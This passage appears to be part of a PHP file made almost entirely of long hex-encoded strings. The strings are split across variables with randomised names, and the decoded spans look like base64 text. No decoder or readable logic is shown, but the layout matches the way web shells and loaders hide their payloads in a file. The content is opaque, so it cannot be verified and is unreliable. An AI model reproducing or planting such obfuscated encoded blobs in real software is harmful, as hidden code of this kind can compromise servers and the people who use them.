f6a6c4f63304951697a656c383667433533396671337a334e4f655a49687631327730495257622d675f6d6a42747568543269577579646258747537333037786a355956395053636d6f556462504e37683343647951783744587a6c6a6c747a63463931527361696e65654551336c5f6d3445596c5050426b712d687270756e676c777a4c71476a547557546d326a795a51447063486d6f4e696f634a586d435a306b356b39443944655971324a7753497847544f66576842375a4a36515841705743373558364a45324e6359333563535773737942363039375a664a534e6a41635932635233587a586b676e69673576495943695a496b725558465772746f6931696c4466425639544b43314155465a62414449675a452d4e5a416e35716b395f4d6d72746663327167652d32586e6775594932636646396d3173614d6f6161466b76366c67566b3541545a70536647442d3245615133534530576e2d47333965597171785a4935575f31624f496143614d6342464d6c68754b546c4d42726e7431547a75724b4d2d4934596c5475545139576737352d50746c656477584a317966505933754345576b624f52316764335733364a365a775a6e74707859716f474a4b436962633949742d51476357516b33744c7a52795f6342614562504e2d555333774f713156494f716e4d787044616f6d7a7a735764672d4d71675a767a6766325f4170363957314d725735384c70754f52484369694f433870667059774b4c3776357752314f754e4c77736a2d744d4e6d374e434a5f76554c35626535306f5f586251745375624d7a5f5550515970367337715f336b5a6270767172437238362d6a5879514b6869654341656257346877743378397a30565747376551736b585766786572587845376f7549514b79333070426a6e5034467469386b42324c4b5531754258676e4443794c614832754b6a3663704178575944706d387555646f493650684b3430486a587742634272517575487076754f4355414c30466d657068455f68735970654b5a74446f687653526f2d70377a77712d3975744956786558544a34696b316e6c6c345a3737507a6f39584f584168734f4c445051302d77383642523079507343366e447855506d6c4667325f47473963587a4451344f51757646483641675636325a4657484a46504f4f69486b7a3577497a69657243477364766f745771376930724f59526c324b4d41633870416f5f486a467653573559306e7466486677657146394b7942423330615f704e367050326364466d306859364132584336723458566b524d72634a48626e65303968617a62485f776630543266677a4957396264625477554f517568696e644e4378656f72654245656847585558755f4c3755724c535f6d636a5f727a4676365f5157783551635451456b4c6769694d424f7a51594f6a584b416b613950647a4b6f676868337535395a636c32344a776f4f4a34666179775066385a52756f322d3538386d61546c76637a55486b4a506b616b484e6d79767645444f544e6c6842587a64574e657175564d554b384f564549424e765041394d6771626774333939736368753649695f687731744f4a684137326c4542335468494642787a4b5f7a38304f35514e71747a41757a4b622d6650666b31644a4758624b6d7a423257324665456151696c686e725a5134523362572d7a5357546f42746e336b694a454b427666567042495a5654715a53473836445f6979506e35624439367037696e746c776976553745475a4e656958374a656a5f65375a5846676c6161643475314f53326b375a366c5677306d3453616c6d4c4e45446670346d73392d6f64546a646c69335f465f434f414945366c55613934785847714b6d2d375f334e474954594673656d77346a6945796e6942474d694f52534c565f366a6b5a636f65646757424d46697876736f6e7a764b73746a5a6a38496261364d38783641784a785450353953523664664c5f376a6b3441534857643777556275634c68746e6333725347374e4162485a57432d5f54367538646467386e6e586d5662743269774c7a574b6f6c4e5053503953325551566b6170324f6364467472764177333048485f45635a53376e455237685f4841623236716d6b3951496e39744d543436455364463068655f38776d78536b4478412d725437684f743542396e396836703556677972516f56505f4a6d4b525639705477736d4d62686f6a647068683164514d745f484f7449346459356a5874325f444d556a656a667935643156677a7948454e395f5669376a496b64463267463843365062786e4275636c41334a4e743632735f6d76756379507a6b38336a4c79563561796b6f4d706a637946504e716145575f30797864725066304365616a6d794d34367564346d3963584f7262737a6f476a7355464a626b77437739684e3841776e6e4b5357653747426a45767868493556676975733172373534383264475659327a722d66784f6244653532557375736e45543764436241367159453750635462513335723178687838567259776873425251316771414a37314b79414f625855584e3748486b767348736b38686642666d4b47464a3534667861546369676f4835596d7644465338584b784a61646954746c66324358524d6b566d645177567762324d6355636f6b7336715f615966542d70565f534548673543597a673647616838515365773752577368464b54545567694f332d444e346244424c4b6d6b454636686b483943437a64554f5476345a716849513461624e595a3734616a7252576d413568442d464f58444e62416d6b395655583855627465557a36315f3053596e363638582d377242594f717977774953557647632d4d39714b333768525932556634684c4b7649414934656136437170542d4c324d6554556e6346466252395238682d336b68535235576e6d59694f7161784f75397473314b3361506754566555727748467731584b47627271796841723069426535737232704d785079615f4d54473473743345465a562d32626e69396d4d4a377333665971507767376e6d306944494d544f3965335f4b335f51367049325a5a77367174702d3149546e7831435676324c786c48524c66614c5063506c32395a586c495431546972794c3371574875324d5f65796e444164545349506865563879384b743954325a556a4f777857352d38344a674e6a4c32646d5f663930797051786d633553372d44646e4969644c73466e30686356516c45654a574c4a4d6d58375338362d783330644e346f38515f4d56795635682d6e3275385f573049566d464a4a6e33535a61564b4f6c627667747a6e75624e776e6b474653495f3732377036474164634279712d542d7a70676a53523443577130664d387a6b4877556758704730564938577a4355334650684442513276635932535576592d67326f527a6573396a754b65732d4b49585a7a4a4143383870424e4f6673416163727957556f454a364c37716b6d305235785a72594b3479343051707a506a6e734b5f75626a44664b703841325853505a486466462d5f3536715863774a4279766975466151715650737a6b42675075373676485f39656341634255356757775732756e504c584b655577713143534378736d76633269504c567051346139706d475349494c32796935394f384b506d73416e73306568587a465f377831345a4a3346766c69613041733236424f4671692d7a4259784448384530464d36674c767541445a774f533232494a72434270735131424e5a4a42726d3538656c415646417a784d53454f30414c7a6531644b6f6d73454d6c4e316255693750366c536d586e31767342764f62417742547669364274494b4442703933314e5272573069744d3139434f4654765534307766466c566c4a303152616235747a547a706a4c414b385f7a5850705865344354494f77723877354334726b394e746435785a3335723268525667696646695f5a496c2d7a4d4d4c4d5958476a7863356c31354d69636155634e4744613071576d72774f36704a6b477275336e5a6e306752736c314666764f5a452d6b335a6b4c31472d5a4a373177484d4c6f34504555735157714f4c557a416866763153756c666c6f33772d756a72637637784e4f56474f4345502d336b6e325167366a4445776d75506d57454162587a4a79455974567350423946656377556a5a756f4e7a682d724c674b347262715655684d45513447734b42577371554e4b506c35764b6937796e4c7431535551516745783843597975464b43736476466a5f6564616b306a465f616c6a7834304179564e525f7a512d302d4a36654a4c6e66546e47724a666f754f6e7a616c4f47703442426a793643396e514350582d616346516954344b50335146717a45595551766c6a7937597973454f716c5030636e304348583463624a312d5758387956794b344f64686f79556a74726c325944396f703459646f5759622d4e546d4867754672725064776e306c5359576f37756a6d66706d6d6f49677372534f4d4b41707435787a6c7466676474646a36435336484f6e4237624773764d496f7465505a39694453447639462d584b64324c62624155756d6f7264786449342d487249525f43644c3538426c6349707846534d4456636d514265467259366a4d636c485f794466543059414f347356554f502d333257515f774e6a447634726854384e743268366a3666503749796466496249396c3464596250534f636c71634c616c636f645a4c6f476c344746623141374d5f665572703138566c6930597369394d4e4f7762544c6f324a3432765769417249385141534d415a4f4c5f5145744445546a494d46306a316c35674b4962385f48325a6c794335474f5475766153394b3149547271647679477046656a354c6a5572584a6333453931685878486463474b76696b354342706c426161325f496e556b4463446f714b684f674f4f465a6f33635f7a666d536a45694c384b667a7157763667376843476d2d69612d57667a325f3368426a456e53443950307254734554316c7a59425058444f4a76526534377878714e44376a47776931745349794d50425f57616652465158356c304b4176743437417a365467774f6d7a4450494d3573676b6e4574556e3035626e5f3063646b454f5554363766636c586e686c63776a63666b644f5445615f4538563965593772585233326d5438595879794d6f612d2d613567686f7643447365464a4641706d59653274564966643538396443734b6243535662426f536f304c4d69714754475573386748785a454875695972664f31374b476d393647484c747645544138552d7736466a5931434b6b663762465179357575324a787149546a6571467946703770796b6467526b4e4b33685354494435534b5f4d506a4a2d44386c315f6f704d46577345446c66495752555546477435704b4455516631616d36355655625744767963396c7065415a6d467733595530346e4b61577051784557394c5676525836572d4a4372615a514878614268374b416b524c5044355f546c4b44485951345672634e304532544a39347079724c5635455376633558716266744b59375a313435696f63586f755449664d6c434c78324935656b5f4f4a59453046764a6b584b4772557848355069376951594e5742424b672d4151324f785433497a4549566f476e724f676d4b7276524f377676625046335f69344e493558757376656a386d684c4e3239354d59786d4c526c6654546b4533655766587a46776f7036517058765957462d7079527a624c354d495f32446d414177354853654339666b61534e71676f6b33326335394663704a396f496b4b4670646e41796b4c41634c594d7253747772434165654f71703751696a45665650793879656e653568634a5a6d6577674751734d4e547a6774795f616741656a656e354e795f5774326c727363586d6878674c58646769776d79635a334e5435414a6c3037534859324f66665331752d48767937503657694138775075733368414d394b306145664b4772727861536a4e34594a332d4c3039733666456e6b6b74314c6771484c6f4355716d74384b304c666c7a6b626973767532783169366268355246624b367630684a6746754776393975753539676a3378596e58334f48386936684e6236595a556974697431514f6463474568546a5f55373563737a574e43454f44755867544b3461566a3468592d754f71385a747971534c46796f3657655272395431656b62494f557376415056466c785a64704f4539667a4d6a455767616478543942744c77664c41676e2d2d327546524633453169795f32744a475a3962554c373846545462434d375f5f374c562d5032416a727349674f484c7a4c4553637059575057544a696e726e3235747a424467385342595a4f6e4847325a6546395476686955643350365033525a575a65672d6c633145505f414d476e6c6d3473616268655835364351446d6f625758344c2d4b6a4331546a565151372d386b485347536f3178334d3851785579685672466578666d5848776b64385773302d6f4e507a716134745f3553744644304f5034696e6b416344585477636c4d74516444347a6545686f48354650644968762d6b534c6279524764597876565651787633572d632d61754e384c767a4555655f5544754e39755038436d45694f426f62545f343859774e4a4c766655416d3662534e457a39324f723175306a43416978427339394a367259644b69426973666f467642714d55352d734e484e59666739566768383154794677443138716f534177663264644e5f387278325744614743596133715838455a4c67424b7052464a4c5a71384861676b4a5956556545767a613034446c4e654f343671306461784c554d4770393250374931577131654b754a5665514653463775334b45744672536a564279664f3467564c314c32575a476c654c5733374331755f41584b45656e39564b785f525374485479793779453952467663554a3559517673657a713242656d376a66715a74454b666e717153487262324436354b2d69354674356e74756c566a424e7849586f62763642497a644f3561555a7a4a462d7a43326e7a454772585672776d6e384f6d34345847566c727a483968674863414661434e2d61726c757a5f6861303243506b48354e5a346e384d4b795a525642397133723839415a6f4b4d4f50735932656734666a6f684f654a71556c45744d314a5356464f714c754e43396c6c576e51457445617a5837614858487a4164654c61354474466a477652616a7736696b31656432305273'; $_valxb53bf = '615750643968624f7054573352417571326d72333849664b475131416a7458666b5a50646d37714a36366b314857447a4256375f4c335a6978676974724b666665495f517468574d6d4538503053795f6a6a4e384f56497655364b76736f32304a663241303670316b573358584b63613771574b574a723935722d465863315858656f466b5f783045744c4242656847556577584259414275695f394d57745553564c6e794f717a314341485243504c4f6e6a795a396c6d386966307a6c3452554a6b38664870636d33656e694347527a676a745a554277794157554f4a68732d367a6c774864386d687a473339787671614e63736b41793873654e434d3571734b69637265363642594b2d2d354466444d65692d3277547454534b77516169724f535a4b53574b3737304a76784745367231753848375232786d30556837784a4564505558796e797170577235754b426273394d6f536f4f42796a596d337358564e587a41334e3368634e61753737717155374857454a6b6b346376417576573641363264587132666c42554953384a38717a48446b65765559616444587a61324a39743045795a6170516332617a636b416a4c7061796f5933374f4c58546f64776e7946344e7874474d52436f422d6b346568614c79427a75463551506b5f316642536d596c366c693439387349444f5643767973304b75395a58614c34696d37724a7853546e69784f6e446473574a79544d7341704372445f46443658596432496a2d55514d757744337a344f777768643263387a78365263552d514a73526c34323162535f2d676b76797948336f4c75655958374f6e4f6557796b414e547845692d3857693355466b6b776b615f4b6261557036716636304139317965764848314270734b526377665f6965335f7177506166766f4443393841417252515176324b752d4764304f5267436f4f79795049676e70665f546465784e475a737a7a2d544632485a34715467384d37354c74504e355331564d35654e537143556f777a4e484f786d685574696c67444266376f646548377538624e58543067585132453465582d506c34393554425838306c326155382d4e367635624c545a303648766e345534714a6970347a3436765a334d716679514e784e314c386e48534730666958417931346664784957474156783870706a7678736470763256373655506e4d386d5f3632714442554a36596954584e346c545a4f50364c38714e58564d65417757536d6652626b73366c573966314f7258353064766555614a32466374672d7a795f59674b387268754c7865773063705772614f42354e586c6b4e4131596d66744f7271427844497770347536377071364a2d784f66525a656d683679736f346e626e583835556c4b6a73477970493633663246633969657a633436696173764d3045427274574f2d44537164643535723972506853525f44524a73576e4749347a67474777344b4e4573666d724c4c337351744c493144544655336831726549686742616c6b7a6a5168554462426131566c756855317a50425931467662426c36596c2d5a30724f586630336a714f72316c6877634759623244484265324535326d5257584e6e545f737a4976756b45564c342d445f796871374d6e48674f6d35734756616e6a654d544b6a48757856636c684c4a43455f4334707664745f4e47363369743568544f6b392d656d4244384d543874594979624d44576f793133776632536242677a70665131556236554375524a306263743832757464704b7a33793075652d6c753854794a516a4d553547343545475a4d7a6a4356774438494a7a634171396839617549754a39387668766c5f7958764e75644369696657787870594638396a3841724d757a315f5f364a46344a6c6252705135674e464c54344448696c4d6a4d4762434349387a387a724c5263706c4b6537357450646f63617378495462375a4e59337336477736547055597a6e4b6932387478536238644d316167734d576949444365365159523854305f633135302d58744f7737564539475f63344e4f506d466b733775714852516f4c7077617541566741656e79516b6833465365714b31462d3632344d47776d764f6d72306e4f4241746b71464677626d746f3736784a335f6266323836646e31336c2d35505346506566537135716152786d494b694a4b2d646a6e6270594d33744b717a7237734455336a68724158436a6f4b5733316c6841424877426737735449716a6c3577416e6f712d2d443362536b71642d567a41467571453646564b347954766d643751352d48766765625361563656773055626549416f663534354b445866336d6c632d6178654b6a66737a304d364b587351493050436377595863443568756e7358694f56794264745f3447463464444e7873574937534641754361546773714b717a636b7765583132734c4749763062366a63597562765961473245773939496a6a514d544833697977464c4453354e51676958584e6468766c4c2d3244474e46665a67753738333167686f443632465f6362573562575655456157566b57424a5a56652d5f76677936474d597532476f6c527962415069364d714b626c4a2d34745178715f6b365456506377436546624d4676446d35413132624874726c57554256356c66352d644d42325f63373970484e546e584c613758446f726f4a30416e723075574f2d4d4536376533437064766c71395a6f5f3547626e6231495168325963704746434f7065396572446151325373627a3539304a4f5330416947696c7a467a5f53496172475939395130346d41563255634a64584a65664f794b71335f5562465761495f686d46384f47427a377a2d562d6e597056466c673343576b79787750466f61636c54746a5336695953436172774c7143506a6e5965764a6a367468416f3939314e544d71654d6b702d2d484f4c4e2d6d687263454a515f6f5066786279504539624159364f67355f2d4b7832626b315154547834686b414c523257504954474953726250784e333036626230673961706843417478354a6478454279736c376466746861446164716c62334970524d562d337038645843584345412d716377694468577256355a3130786a496e6155646b4e344857524a6d6a783554386f5a4f62363537514379794e592d537843485f6549747536686d7338337a734f536874382d6f735156417470747633774b5867573234716d7a61365a4c4878445f736f625731356a346b76365969434a48497a63634d747170706543306c5a3965646c523748643968466e6a5661547058754437582d794b48784b7a3576614e784b4e377a446c646e6e727277455863744d31694337316e366345436a646452636b4d597473764d63624430794c526c594658494b482d746870304f39684334676b4a31424a75426a375a3137444b62656664783951786d55784d7950325a33665274304a61696c614c4d5a4175306d79334931413948567a6956705063705670515769652d47354c7a664f6d315449727a716e6c457a67365459556b6b58657a724b5358467a75624e58424c626950496b7530394b487148737179444476334c5747324c6b6c5a777278704a6965715553374367494e4e4b362d764a346864544d3838546b53574953445036526c76445a426235646a384b5763776c6e38644571394d444a4c6f6465674b736c677a6a654a305a4a5370655747507077564b755f4175714646355972725f726b4d747a6e69373034673541673448623563395a6e4c67766d38417643337a51474f61586168702d5f705873636e303235356c65653848614641556241414a71394b484245745969354b584b6c5970356e763447444d7462577232356f6473365a336c4d6873382d377771596e2d78656f6970493436516248664c344567345962456741695443434f56534947507239474f4634706d676f3168703653724645755352487156364f623031417333572d4764636456517133355830794252426d554d2d2d64465857354d78772d45714b716c656c7268776f4b614c75526e47335a474e696f3147705478433453766e756c5074665a646e56396f6238335855746a73435161556c66597a496c59696f7556634a68682d77755a52586845523532636c34694e5155667973675f76324e6c4d4d4b52445555696a764f724a3267753534625a64526c7a6e5a3556376a557732346f424f6d7346525961345270635f6b6d68596f5254723159684972435754536e5f5f42344a5a3953485a656f6b61587146447743424e3256726431774f7a625555633139474e6865644f68466d334450433054555f355764436241454f4d3245433437694834426e6b6d6e7a6c6254374641484f37537a3578303166382d38425474794f51417765336b34415455506d4e766278734d306778764173546851304a425942774d71696d672d494d72474f325642365159646b3167697359646b5a304e7973364269396e5662735636544152334d354964364a35674c514c634d336c5551637434734a4238766a68335631583262647a35444759622d3542546b684e6661796235544d58534a4e342d43553366356c6673537035394a34506a3856736152302d37454e754e4863615a5536457a767a646e53796c364d495a4331557563664d67312d717951655a436158647652674a6c7271424d357175384b34767170727179777834526f4572704b3076756a41697a7831577266776151664e3732377041367a704f57476f39446e7a4a4745584b2d4838794e5665497839557746475753625079386368596647366b494b756458477a3474414143744c3772685358636f536d49635f645637756a776663636569654d427470546c336b6f594170647951364c4673334d695a354c384a65596d4d7632517559445f3679623232797869374649717372325144754a4d61304446565a64374d31734d6a306c7656515254754632615641507a696d654c786f34354e48364173384b316e624a5a6b7a395f645934366c4b745858426159415935344e6c4a7943783445526e5458664d6e4c63436d594c6e6e696232437075557238736c6877506b4a6c4e4c324d47373436454f514e4d7a6f382d39534d36636d64305a6f6f613947624f526241356a5f6d644e307a5654364d39727864416d74434c4e436d354562516e4b697131374a726e6435456e76644972324e307a764c423355533934356e6c465a73674749654c6a64754d306e717152546c337a776568727032484c53304870574a6b35304d5358544a4b6f74634c5a3571414565396442374e7261594354704d3942796c7962636172374b33686e626c546c33634c5f36344f76384a2d766643334d7855666c73414d4154415f704e6e314545616d2d326e555578735f7a4b7a324544713053706c73736b646f495541675a524f2d4b7a394f49344355736d62416b386a3257705f7a69393342756f5565334e7a436a6b453833563947674735434656447155746a2d717a4e78776176545a68435f45506952706d426f376632646c47756666764a783569564b78496f34425a477249466a59665f417357346b45344333324d6f39596a46744756786266637479426f65364b66776e62314b387350577641574f3274565674694e3138535755553873586a5a346c372d32494276393233724a38634a6a703331426f72514a3851626c636e4133385f5032565050666334524d38495a6e54515945675f6c587276706550775f4247537262676965555f477244715a4e5a3364757849555867333137673449696a4a666b52797642724b54727430344f2d776f7330674a46767a6a6936547250315a764a326f712d6a3443644852367a45676d7274487433306366465f35753253506953343759346b4c4c36514f42385a66594b78314e597648596d384c6f66637a49657549615f4f5058477968554778377868626a674d715245737456444b7531645f4a783131766b7a7168354267417a66587457425361346a782d6a69624c4b5371335778725342575a515872744a486d335166473332444646734c755f5f4b315a562d43426365384431324d4f4a456a2d323938645155517a347a556f622d7434466347733843476346565a762d74367369587954644c615248544b5278454d714a5f5577644b426e33785a46477878706472757951345646596d485753585564664d79666f664d31576d4d386931574a75326f74426d59723356436e355641423859774d344f6e657a484470474a58746c56546e7152334b79704e30533470393378767730445a42617271504e635a4a756450546f7230563569493479673549706444776b54656441694b38424f384c673376576c344545306661664b3535435a515339694c61634c784f4b6450446a566b4c456b554b4f7138794b376e6f655042496f314f57773049307562396d3742784e54465477794362696554745535794a5f72636d68704c786c7a4c765469394c6a5a59514a3765485533347a6a74776c3341613479654f656f5247776a4747484859634d463542526345644a75662d687757336b6c6a3544306b55624a4e3149452d306746486d624e73564a6b626c5239797254504161554665684b6b7a5a425a313757472d6c53486c71775a7767666d63684e4c4245755a4a54326238475a34586f5451534650567967466e6153655253337a50764c706e6c756d773751714d696c37504e37795173707168314341527373584b727167774d4847476255416f75526769546466646f4b3046784d686136573771707936765a6a5575716964356b576c6e637855376661425144774c4e4b7971325670566234714f54312d36714d69426a64575167367a70506265386e5261307734504162466f4a6638517476456d654a6743673057305372564279647748764c5669584e394479432d796b31684c35353436433444625876654673766a6f744177315848362d34676f4772774269667734745a6a43446b4b556576386178564b4771717a6143704e4248774766434d5a515145595f7a377a385a314442484657564c6468594557365741477256366141555049704b4e32367a56626c66417a4431554e2d555f2d5441626a2d5370734966367a516133346d58644b78623954566b4e486a435571303742745171314e356563324b61537450706c657a3648715f383850744264317355695453655245504e6b6c34396a6450305449434c58574a6c57445653614b43346a54504e54467a4e57435132444a4a3137417375623246546157416f72766d58396745767a61556a49442d54507078797270704b3949674e73773639356c6f4f6e61633676554461734938646949676b396247396f4d5454416651726f366561447167614833396f494c6754314a4a6a596f557177665161685731524653566149765544384468346341384c2d3073434666633535426a33483045326d44563631476a626c673871434c52623039302d7a7475687a6168337265595f6e56664c534863345738437545446b3237557a676a4c4c7a5434785a33396e6d6c4845614a394b5f4a54475671514957546176577669534a676e4a2d556c52596c59513073633754386c5345724947646c3963546e4d574a4b534a306841426f7867536c6e37655174754b63455f4372654e554773464b673870707970554c306b4a5134555f4a7633472d386654394c6e4353777457644973434744334174744a676a6e384652494f77587a375571324c78676b474747696d6a354b7979514465786e73746455486868633970796b4c30354d4e6e494752654a6330324e4c5478754151334e444d52674b6d63304c584e654271426a3549314352586b584b41304a615438765a7a6e6e565632424e5f43704e787378387750784b71714c6968365450504c4a4a4871554350473335656e6b334f325f424d4a6e47534d424e554d3841624e78316d6674657247657567597659725f664449714d7636303039423037794d355759746b7a37504748676a35325555616e485873646c44364d73486145744c36756d5f3048737836594a497742774832756e6b656a6734784c71784c3255694635594a7045324e786f557874362d67784e6255656f3039786e49794151385977585a6d3346576e4f326a425f524466745758425550514b6c774366777232337961416d4a63764e6c572d3937584d4d534155303630565838666a493334666c70684953314b436c5f3959316352515f4c416f343041647766553745616a31316e4677795f63334b4569573448344951697447786d65456c58614a345f53766545587a596342734a7858524c386239543835324c41445074315f386e32456874464d5632334d614a56384c63334a6e59323345547375683139553747454f305163787447417a4d6e324d31674a395a736a483078466a512d7154655648376b4c555163762d526c7831754957613332564c76694d745f66434172786c63394e47496543654845593662547968305f7a523052346c4c44786e744b556f4f6b77636b6d312d4f4f445735644b78505049566478794c7371355552573235496d59656a716b427949333338574c53346e4b584d7a6a5f59306c426a6754375a6d344c706d565834574236643538744c5859323769476d746d57624665464c5353704d53525768643131304c3142646b6f6950475376516b5557644172514b393148506f5035754e5544684d327554616a716f7066314f6e67757866513261486a61355079364537363835794a5754584c42365979414f765739727762326d544d6d784f6c3151735355594a634547727747336a4c533351356b4a7069517258654750616a4b79475243486236757438335f6b686e6c564453734c64586151546e526d7567696f3251644758432d77354167566132426c706e363865615658366c7573614b493746576a5346555166313171646965426466304d5a79446756375a585f54583156455f49336f473168397144685277716a4369337641656f447a6b4143674561744f714f466a424b493956565543686564514377447a5345786f6962373276394a325a7333434a7850745175524a6978416b2d6d794475506b386365564538484877316969632d66655759303942395a65516f785256477142485f3244726c6665634c77364a314637347452656f66706c32426b6e5832436a6a6e634e4764366143617352494163576145306d32386d445a746f7a4f6871384a5433506d31716868657048517873774846305f4f33516334613758752d71524768797a56576632522d377035747a347a77784f4a2d6a69642d367a436b7858307066514c4c42434d53634b715a36595f77585a4758357a7150374341356753526a6e4f75544b4c3874524e595a34344b682d514a746a72663045465f536c4b316173666f504546746a6e352d6e71514266304c6165555267567859755669386d4b785f78626e4e774c6d6742355661394b4f5970777a617137466544614271624b6765485a4f6b6c7871517370436c4e764c6734555679546e3253725257675135706471726b76584b555938346b484d425878425f684876675931413139364f56436f4b3151375a33365735637474674631575531736f4853613468714d4d31426d436f587a386277556f3545724d575441717366743035634b31374775715878667a34506f53395f715154454d6368674a3372544f754d5166707354635344503978493237387a6347764c7978377573714b67426f352d723439753946745643774f4b334a646a68676b58574f4c7a574669634a696335735059756c4569695f644d707368683350525f586a752d437843504f4d7668333165466331595a7934305943793154492d77704b5a325771456330497a493272515f517465416c516532666839714a7542527676435f6662696449597341654b38324e596e2d3930734738384a356f51453971693333444a494e7732383075722d4d3467797a7a72784d634a4848564a5470556138523663446a4f696f2d59353971446d50324c3835396b6159476e76644a456f6c7a64587171372d713574346e7966697155614b39676a545045477a693073656f526b746a72734f5852524b5a646b5f6c617764574e476e6c6b674369776a63725447555f51436a7144576e4d766d3555374b7567734a533077763933487575413644686669674c644e7053625f585f626b78367262615634353936625642706352355731596a5f536f2d786547566a6e49497a7579507257425a7853675464316f54696e4a654c566c3637484b77637849547a7371666670694a735633314637643747495a53596c6937366965666d6f53'; $_segx0c1b0 = '57573576477961594d6a62557a354d70557758654f474a69684d525938555878686d6977474e72547a3138454469323964674f77656e395a687975717a58734b4268775f555454566b6e426d504571583649576c5778575f566334754f657a58303837427037485a3246773036464c4153675171686864786a634d43586c65614b67374d744d4145586c5a6d42624e3142546c49373263506536682d353133487648533869646e6a53636c6a783152777a46374d733967574f506948592d5343783461386a6636726b6c61415a63766b76414f364c6a666f3272447573616150356c585870374331415f70487468657342794d72654453504f7035755f70305372576269314357494f65395a6c494f314c3334356a5742325a7451656d686e494f4e7935674d6a614b364f484f515f31302d2d51576857564d74735f6b382d564f784a73576c433147724d5979586d482d43424a55514743436b704d35345550707135756d625a62643869444a656564684d2d7652754c4153393372502d4758643672465167484b4d30554d554c4b6f492d75796b557169776d6d35695f43774351735f734f746132304f7445436b44596c704e7173336e5735695a71776447665f43424236717a326855444b62686a78774e395f48682d5538564835535a37735a7332623630507167684648395a35724c6c64507147714a534663674c384a734b535a6e67493564304545326c6b6231534759366267316f54444a4371767073626d4179774e4d72335f69583756767a4853713353644a5166473245536c6f534a58617030717479343850784a4b5a326e2d4654667838654a734671766654356b4d314277737165344d36456d4a39775846515075317a77436f57764a7a6e7662555a79644c786a50772d7764646a526c644848646c6752476c416d46494c4f6d31656534786572537936676c5f6354534e766e6a54662d3931724e66582d795f6b3878747a4732727372786755433036646a4b616f304d636554526844665f7a424c6e4d5957367a4561493154355268655a38726642694e76676470645a4a676c4a756b3864335f315157394a496e5f517a63363246487632682d4c386d45794f6c7464484f5f695059395f61784c7539576d4741654470576c34724b4c6f506d505a4b38304d4d6557597758436e5a39674f79734b696e6f6742512d76316a58654e37515669727550346c6b374638466252546c4879354c716c384f37386d746730485f394d677252707475397065315774632d72425f36717a5a33474d31586e62637151775654426967486341466e6b436742417651655241445937564f3973735a7074587545317a44615941564570722d7a54725f41507a6f50365543474773795a41677a473078393938476658522d79492d30614c4e52495f6e6751496b4b764275423269396b2d58354f4f4c312d51763952494265584d6475336768615a31556f45697272736a665178344b516342306b44642d455173616c7237686b49635a314f5978706b6a514f3239376742727063797568596c6941736352414f7967733056397361457156763036694e3838387457555a795a2d5655426d4155344f356568455841343255737076566d387461445a4b6a633939394c73556e72706c7479664d6e41537062343456676548456f414a41726e6f304134535a446c54737579654d344d7a54415f71597a476e64526f705a4c6136723034377a696f7575384851524a4f34374878584c41694e52596376342d42535362445a6356696f703270474f36644b5f4537565672657844474c796b7246386a655944345f507a697a626e706670355773674577546b6f2d6559433379647538444c6e59646e5a584e4b495373682d4c6e553176795a535379705752505754616c33354a7a4e79345a63575958436b6b4b5676376336536d3463634d5957325773623833527665432d3961393664313341317a526178772d5346485a4e4b5f42455767495a6656416f5965766c55316e4e387459337572476552584e524f42332d666c4e547367384a54763052525755666c393973312d766b2d436d3036744938626d556d437a6b70324d6f426a734b4a6f77634c6a44514f4c4b395269582d6e4c59714658746c70544b4962766847336935795463664a7a6273416873566a56744673645439616a756452476c6d696f636f447149645072756c457a6b5a5249475a59477631554668475063637941396f326e355f6f39776f4766366457484b64784255664c757a5431677a393752444461514b766567485f50425f744a70664c322d56366d4e6475626b6a72667163624c4c6c6b41313779367262786c42657075566b5a614a515a54736e76666b7459704f5a6249357363747263466a6956594148626974536b772d4b66456775514f374168704b545644356668544e4338704179784c303330556565327a78614170416f635f49666b49446a7941304b526458584c4e327635564a5168534d6a3639423551486b386c7241593966736f45524a6662666e71633049796d63576e43647469706d42695856537145435f766a67314f57655557776d4536524a38496742474358784977757950754671775048643667643731364853314a4648665775364d446147474a68694a55434d44395a494d5169414673695672726d4d33693061335a5636586e6e487132394f5731484c365368367134505256315a71637669456a7a6d565f5a5036373872666e58753545636c6b61345176413767325f73506e334e766c315154696363763961556f335f75397235316459754e43664c32787a55466b486869735a5a56416f754f32744b676b504f5553633348682d7a2d4c4f746f584b2d46786f634965413637644159336d534448577a6947516354413866647a4169684734566a546e376c7076734938424c6c4253334b3133456c644e6e346c477830726268646454555f49496669674f64635a6c456f7637514635507064734f69337a78494843564c3439716a6448623643456737715336626b52667a5a675a32664b794f57614b456a494c4f49665a767655345a6d354b6d734c6d7949312d6438304d6363726f475a4b463979514d335f426c5264534d5a3776693771485455586d71747630766365344579586f66744d6a37336256462d2d745a4b4b454f4261695649572d32726c6e6b2d4a6b6d31635843506e7645316c613942345a796741795f524133356d5f76774748336f6836435f714138494d2d7932614f695354776a73734b304b6164413436436d626d6d68706f3155427a616d706c6d4d5033303466474e7a6a46513965412d4b6265467a567163542d4238574330427156426e5a64506f794b424a424f4c32756859514243666279355a413643414835515143386c4962766f793373596a596a6b42455a5132316e797a624659553343682d6535657554524d393263304f56306d566f43427176585a4c65736f63355343415774355442574d37716e54453435397a5969317a5164444f4262644f5f6c6a7a3550677079476943494c61785a6931594a436a726953455150366a3841303351524a627a365638425033467a7366587757325631553170356a592d4b30545264666778324333484544494f6276734d754557723470513630394470734f56543277585277316a774d75483755796d68555854746c714174466737304e5636646f50302d32345f586a64755557336f314c4d52686f38354330524569457853726869455a5374764151334869434661613150666b4c38426862717446446c53624755784563416f464b51475457374a4d317373425853394130796b4f4a746776724f67494442396c6539774c6b635a46645869374d585076735433643739527851545741415130775f7775426a5246493942355f377075676c34524341544a54505865547369684a6e545771414856715a7670726a75544d6e453375384331505441786a585566446c502d68713370696941346856734d3732335566654c526a41667233474a6a316c6e6b6e6d5061533648364c713959623935656d5263464d7561714465466a784a5f395065634f437248754f44386f59623139306a4479537138707333354d614678726d576b637467537a396d696c436c7a6d71387249356854725f664d6450787571425f3834703347646a6a656a66446835677952736256506c41484941567868746b6b4c757034505f2d6e524332376b5a5678766b545a675a39504764426d43734a444236776348336453472d43355376507178555439326e71523648674442343564704e57767041534f4d32547732774644736d6464485870766764393532647046624c4b514d4739545447546e7a79514c7646634a70595856626231727477564b677773556b4e38362d444a766242777041624246366550692d706e7538485775783764376b3677497454375f744b427955584844613233396e4948694852627343434f51414552625655494f657648567152464a432d783354354f67665571567877345532697939697848557535795068416377424d54646a49516f333632365a5f597247653331757469634662345f3157372d69574a6134645245364f686f475359784441614a666c437a37546c507a33572d533462466355736769314764754e6979634d4f655a47334945726d467349716558574e6b2d30695a38733054437a56367243764d796a3845496a4552533770647749574a32346f784179442d6536564f727367565738783241654462676339637a7146492d583555714652496767555558725f584f4f636c5373